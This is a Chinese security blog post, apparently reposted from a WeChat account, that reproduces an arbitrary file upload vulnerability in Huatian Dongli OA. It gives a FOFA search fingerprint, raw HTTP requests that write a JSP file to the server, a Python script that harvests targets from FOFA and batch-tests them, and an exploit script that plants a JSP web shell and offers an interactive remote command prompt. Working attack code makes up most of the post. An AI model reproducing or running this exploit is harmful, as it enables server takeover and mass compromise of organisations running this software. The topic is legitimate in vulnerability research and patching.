华天动力OA隶属大连华天软件有限公司,是协同办公软件
华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合,为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台,在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。华天动力OA存在任意文件上传漏洞,攻击者可以上传任意文件,获取webshell,控制服务器权限,读取敏感信息等。
body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"
Burp Suite发送如下数据包
POST /OAapp/jsp/upload.jsp HTTP/1.1
Host:xxxxxxxxxxxxxxxxxxxxxx(你的host)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 293
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="ttt.xml"
Content-Type: image/png
real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"
ttt.png
------WebKitFormBoundary5Ur8laykKAWws2QO--
获得路径:
D:/htoa/htoadata/appdata/temp/FILE78087330593O228.da
在发送如下数据包,写入normalLoginPageForOther.jsp文件,内容为2023-02-14
POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1
Host: xxxxxxxxxxxxxxxxx(你的Host)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 389
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png
<%out.print("2023-02-14");%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"
D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--
再访问normalLoginPageForOther.jsp文件
GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1
Host: xxxxxxxxxxxxxxxxxxx(你的host)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
成功解析
POC批量检测脚本编写如下:
# coding=utf-8
import requests
import time
import base64
email = "这里填上你的fofa邮箱"
api_key = "这里填上你的fofa的Key"
api = r'https://fofa.so/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'
fofa_pwd = "fofa爬取结果.txt"
def run_site_fofa(fofa_keyword):
global email, api_key, api, fofa_pwd
flag = base64.b64encode(fofa_keyword.encode()).decode()
response = requests.get(api.format(email, api_key, flag))
results = response.json()["results"]
print("FOFA中共搜索到{}条记录!".format(len(results)))
file_name = fofa_pwd
f = open(file_name, "a")
for addr in results:
f.write(addr[0] + 'n')
print("FOFA爬取中:", addr)
f.close()
with open("fofa爬取结果.txt","r") as file:
for files in file:
file_read = files.strip("n")
glfusion_upload(file_read)
file.close()
def glfusion_upload(url):
path = "/OAapp/jsp/upload.jsp"
paths = "/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp"
path_get = '/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO",
}
headerss = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
data = '''
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="xxx.xml"
Content-Type: image/png
real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"
xxx.png
------WebKitFormBoundary5Ur8laykKAWws2QO--
'''
datas = '''
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png
<%out.print("2023-02-14");%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"
D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--
'''
resp = requests.post(url + path, headers=headers,data=data)
print(resp.status_code)
time.sleep(1)
resps = requests.post(url + paths, headers=headers, data=datas)
print(resps.status_code)
time.sleep(1)
resp_read = requests.get(url+path_get,headers=headerss)
print(resp_read)
if "2023" in resp_read.text:
print("[+]", url, "存在文件上传漏洞")
else:
print("[-]", url, "未发现文件上传漏洞")
if "__main__" == __name__:
search = 'body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"'
run_site_fofa(search)
EXP编写如下:
import requests
import time
def exp(url):
path = "/OAapp/jsp/upload.jsp"
paths = "/OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp"
path_get = '/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp'
exp_path_get = "/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO",
}
headerss = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0"
}
data = '''
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="xxx.xml"
Content-Type: image/png
real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"
xxx.png
------WebKitFormBoundary5Ur8laykKAWws2QO--
'''
datas = '''
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"
D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--
'''
resp = requests.post(url + path, headers=headers,data=data)
print(resp.status_code)
time.sleep(1)
resps = requests.post(url + paths, headers=headers, data=datas)
print(resps.status_code)
time.sleep(1)
resp_read = requests.get(url+path_get,headers=headerss)
print(resp_read.status_code)
print("上传完成进行EXP利用........................................")
while True:
try:
i = input("请输入你要执行的命令:")
resp_read = requests.get(url + exp_path_get+"?i={}".format(i), headers=headerss)
print("执行结果:"+resp_read.text)
if i == "exit":
break
except Exception as e:
print("执行异常")
pass
if "__main__" == __name__:
url = "填存在漏洞的URL(如http://baidu.com)"
exp(url)
厂商已提供漏洞修补方案,建议用户下载使用:
https://pan.baidu.com/s/1ImDoHnIz50uqLjpDPj4r5w?pwd=htoa
原文始发于微信公众号(Pwn师傅):华天动力 OA 任意文件上传漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论